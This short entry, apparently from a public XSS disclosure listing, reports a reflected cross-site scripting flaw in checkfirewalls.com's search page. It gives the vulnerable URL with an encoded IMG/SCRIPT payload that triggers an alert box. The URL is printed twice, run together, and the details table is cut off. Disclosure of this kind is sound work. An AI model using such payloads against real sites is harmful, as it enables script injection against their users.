checkfirewalls.com XSS vulnerability

Vulnerable URL: http://www.checkfirewalls.com/search.php?q=%3CIMG+%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSSPOSED%22%29%3C%2FSCRIPT%3E%22%3Ehttp://www.checkfirewalls.com/search.php?q=%3CIMG+%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSSPOSED%22%29%3C%2FSCRIPT%3E%22%3E Details: Description| Value ---|---...